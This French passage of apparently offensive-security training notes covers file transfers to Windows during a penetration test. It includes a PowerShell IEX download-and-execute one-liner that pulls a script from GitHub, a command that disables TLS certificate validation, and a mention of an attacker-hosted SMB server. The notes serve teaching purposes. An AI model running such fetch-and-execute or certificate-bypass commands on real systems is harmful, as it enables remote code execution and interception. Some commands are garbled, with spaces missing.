Lorsque la configuration first-launch d’Internet Explorer n’a pas été effectuée, les téléchargements avec Invoke-WebRequest seront bloqués et l’erreur suivantes s’affichera :
Invoke-WebRequest : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again.
Il faudra alors ajouter le flag -UseBasicParsing à la commande.
Une autre erreur lors des téléchargements PowerShell est liée au canal sécurisé SSL/TLS lorsque le certificat n’est pas approuvé. On peut contourner cette erreur avec la commande suivante :
IEX(New-ObjectNet.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')Exceptioncalling"DownloadString"with"1"argument(s):"The underlying connection was closed: Could not establish trust
relationship for the SSL/TLS secure channel."[...]PS C:\htb>[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true}
Il est possible de monter un serveur SMB depuis une machine attaquante Linux et d’y télécharger les fichiers présents depuis Windows.
Tout d’abord, monter le serveur SMB avec smbserver.py :